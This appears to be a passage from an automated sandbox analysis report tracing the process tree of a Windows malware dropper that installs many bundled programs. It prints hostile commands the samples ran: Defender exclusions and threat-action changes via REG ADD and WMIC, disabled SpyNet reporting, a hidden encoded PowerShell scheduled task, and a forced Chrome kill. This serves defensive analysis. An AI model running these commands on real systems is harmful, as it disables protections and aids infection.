                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-3HE6P.tmp\Thu2026c04e7218e1.tmp" /SL5="$3004A,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS47254851\Thu2026c04e7218e1.exe"
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                                                                                                                  PID:3976
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-BPDP6.tmp\___YHDG34.exe
                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-BPDP6.tmp\___YHDG34.exe" /S /UID=burnerch2
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                    • Drops file in Drivers directory
                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                                                                                                    • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                    PID:4488
                                                                                                                                                                                                                                                                                    • C:\Program Files\VideoLAN\FPDGRZDRAS\ultramediaburner.exe
                                                                                                                                                                                                                                                                                      "C:\Program Files\VideoLAN\FPDGRZDRAS\ultramediaburner.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                      PID:6780
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-7MG5L.tmp\ultramediaburner.tmp
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-7MG5L.tmp\ultramediaburner.tmp" /SL5="$20318,281924,62464,C:\Program Files\VideoLAN\FPDGRZDRAS\ultramediaburner.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                        • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                        PID:6848
                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                                                                                                                                                                                                                                                                          "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                            PID:7040
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\c2-5a2f8-b3f-eddb3-ef571a09156ee\Lyzhamomyra.exe
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\c2-5a2f8-b3f-eddb3-ef571a09156ee\Lyzhamomyra.exe"
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:6912
                                                                                                                                                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
                                                                                                                                                                                                                                                                                            dw20.exe -x -s 2244
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                              PID:5008
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\6b-d5451-f3f-78998-d1a32cb106f1f\Mamevesosy.exe
                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\6b-d5451-f3f-78998-d1a32cb106f1f\Mamevesosy.exe"
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:6972
                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sar0cl12.4jq\GcleanerEU.exe /eufive & exit
                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                  PID:7696
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\sar0cl12.4jq\GcleanerEU.exe
                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\sar0cl12.4jq\GcleanerEU.exe /eufive
                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                      PID:7864
                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kxqpbh5m.luo\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                      PID:7952
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\kxqpbh5m.luo\installer.exe
                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\kxqpbh5m.luo\installer.exe /qn CAMPAIGN="654"
                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                                                                        • Enumerates connected drives
                                                                                                                                                                                                                                                                                                        • Modifies system certificate store
                                                                                                                                                                                                                                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                                        PID:5292
                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\k2zc3log.qso\anyname.exe & exit
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                        PID:7204
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\k2zc3log.qso\anyname.exe
                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\k2zc3log.qso\anyname.exe
                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                            PID:6136
                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\euxb31bo.03z\PublicDwlBrowser4414.exe & exit
                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                          PID:5572
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\euxb31bo.03z\PublicDwlBrowser4414.exe
                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\euxb31bo.03z\PublicDwlBrowser4414.exe
                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                              PID:7820
                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\8898366.scr
                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\8898366.scr" /S
                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                  PID:8396
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\6952920.scr
                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\6952920.scr" /S
                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                  • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                                                  • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                                                  PID:9292
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\5452600.scr
                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\5452600.scr" /S
                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                  • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                                                  • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                                                  PID:9796
                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yydpzc4e.pmb\askinstall52.exe & exit
                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                PID:7500
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\yydpzc4e.pmb\askinstall52.exe
                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\yydpzc4e.pmb\askinstall52.exe
                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                    PID:6792
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                      cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                        PID:5412
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                          taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                          PID:9004
                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\csrk2ein.mxr\install.exe & exit
                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                      PID:1540
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\csrk2ein.mxr\install.exe
                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\csrk2ein.mxr\install.exe
                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                          PID:8208
                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCBEC.tmp\Install.exe
                                                                                                                                                                                                                                                                                                                            .\Install.exe
                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                              PID:8236
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCD53.tmp\Install.exe
                                                                                                                                                                                                                                                                                                                                .\Install.exe /S /site_id "216660"
                                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                                • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                                                • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                                PID:8300
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
                                                                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                                                                    PID:9208
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                                                                                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                                                                                                                                        PID:8852
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                          /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                                                                                                            PID:9372
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                              powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                                                                                                                                PID:10212
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                                  12⤵
                                                                                                                                                                                                                                                                                                                                                    PID:6368
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
                                                                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                                                                              PID:9304
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                                                                                                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                                                                                                  PID:3624
                                                                                                                                                                                                                                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                                                                                                                                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                                                                                                                                      PID:7520
                                                                                                                                                                                                                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                                                                                                                                                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                                                                                                                                                        PID:7908
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                                                                                                                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                                                                                                                      PID:5884
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                                                                                                                                                                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                                                                                                                                                                          PID:3276
                                                                                                                                                                                                                                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                                                                                                                              PID:9072
                                                                                                                                                                                                                                                                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                                                                                                                                                PID:5788
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "gyAZVmxOj" /SC once /ST 01:25:57 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                            PID:9224
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                            schtasks /run /I /tn "gyAZVmxOj"
                                                                                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                                                                                              PID:6108
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                              schtasks /DELETE /F /TN "gyAZVmxOj"
                                                                                                                                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                                                                                                                                PID:10128
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4nuj0xws.tka\jg3_3uag.exe & exit
                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                          PID:8424
                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\4nuj0xws.tka\jg3_3uag.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\4nuj0xws.tka\jg3_3uag.exe
                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                              PID:8900
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\trjr5kao.ooo\gcleaner.exe /mixfive & exit
                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                              PID:8812
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\trjr5kao.ooo\gcleaner.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\trjr5kao.ooo\gcleaner.exe /mixfive
                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:9088
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qhmr2tjf.vjd\autosubplayer.exe /S & exit
                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                PID:6624
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hhwdh3af.w0o\Text.exe & exit
                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:5244
                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\hhwdh3af.w0o\Text.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\hhwdh3af.w0o\Text.exe
                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:5808
                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\tmp824C_tmp.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\tmp824C_tmp.exe"
                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                                        PID:8244
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:9224
                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\tmp824C_tmp.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\tmp824C_tmp.exe
                                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:8524
                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\tmp824C_tmp.exe
                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\tmp824C_tmp.exe
                                                                                                                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:9580
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yejjidna.2x2\installer.exe /qn CAMPAIGN=654 & exit
                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:8816
                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\yejjidna.2x2\installer.exe
                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\yejjidna.2x2\installer.exe /qn CAMPAIGN=654
                                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:8956
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\53ubz0r1.pih\app.exe /8-2222 & exit
                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:9788
                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\53ubz0r1.pih\app.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\53ubz0r1.pih\app.exe /8-2222
                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:3772
                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS47254851\Thu203cdb52ef3c6580d.exe
                                                                                                                                                                                                                                                                                                                                                                            Thu203cdb52ef3c6580d.exe
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                                            PID:3820
                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS47254851\Thu203cdb52ef3c6580d.exe
                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS47254851\Thu203cdb52ef3c6580d.exe
                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                              PID:2416
                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS47254851\Thu203cdb52ef3c6580d.exe
                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS47254851\Thu203cdb52ef3c6580d.exe
                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                              PID:4632
                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS47254851\Thu20a5f7ccaa78.exe
                                                                                                                                                                                                                                                                                                                                                                            Thu20a5f7ccaa78.exe
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                                            PID:1872
                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS47254851\Thu20a5f7ccaa78.exe
                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS47254851\Thu20a5f7ccaa78.exe
                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                              PID:2776
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                            PID:5044
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                              PID:5096
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\System32\svchost.exe -k netsvcs -s BITS
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                                            PID:5980
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                            • Enumerates connected drives
                                                                                                                                                                                                                                                                                                                                                                            PID:3668
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\syswow64\MsiExec.exe -Embedding 513ADBC8040C75FB25E6298D3C624885 C
                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                              PID:6356
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                            PID:7404
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                              • Loads dropped DLL
